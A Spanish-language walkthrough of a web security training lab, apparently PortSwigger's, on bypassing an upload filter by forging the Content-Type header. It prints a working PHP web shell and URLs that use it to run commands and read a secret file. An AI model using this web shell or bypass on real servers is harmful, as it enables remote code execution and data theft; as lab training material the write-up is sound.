Entrada

File Upload Vulnerabilities Lab 2

File Upload Vulnerabilities Lab 2

Skills

  • Web shell upload via Content-Type restriction bypass

Certificaciones

  • eWPT
  • eWPTXv2
  • OSWE
  • BSCP

Descripción

Este laboratorio contiene una función de carga de imágenes vulnerable que intenta evitar que los usuarios suban tipos de archivos inesperados, pero se basa en verificar una entrada controlada por el usuario para hacerlo. Para resolver el laboratorio, debemos subir una web shell básica en PHP, usarla para extraer el contenido del archivo /home/carlos/secret y luego usar este secreto utilizando el botón proporcionado en la barra del laboratorio. Podemos iniciar sesión en nuestra cuenta usando las siguientes credenciales: wiener:peter


Resolución

Al acceder a la web nos sale esto

Pulsamos en My account e iniciamos sesión con las credenciales wiener:peter

Vemos que existe un campo de subida de archivos

Si inspeccionamos con donde se aloja la imagen vemos que es en la ruta /resources/images

Nos creamos un archivo llamado shell.php y lo subimos

1
2
3
<?php
    echo "<pre>" . system($_REQUEST['cmd']) . "</pre>";
?>

Al intentar subirlo vemos que nos da este error

Subimos el archivo nuevamente y capturamos la petición con Burpsuite

Cambiamos el Content-Type a image/png y subimos el archivo, posteriormente abrimos nuevamente el inspector de chrome y vemos que el archivo subido se aloja en /files/avatars

Si accedemos a https://0aa000d704efa5eb8202c09f005a0081.web-security-academy.net/files/avatars/shell.php?cmd=whoami veremos que tenemos un RCE (Remote Code Execution)

Si accedemos a https://0aa000d704efa5eb8202c09f005a0081.web-security-academy.net/files/avatars/shell.php?cmd=ls%20/home/carlos vemos un archivo llamado secret

Leemos la información de ese archivo con https://0aa000d704efa5eb8202c09f005a0081.web-security-academy.net/files/avatars/shell.php?cmd=cat%20/home/carlos/secret

Pulsamos en Submit solution y mandamos nuestra solución

Esta entrada está licenciada bajo CC BY 4.0 por el autor.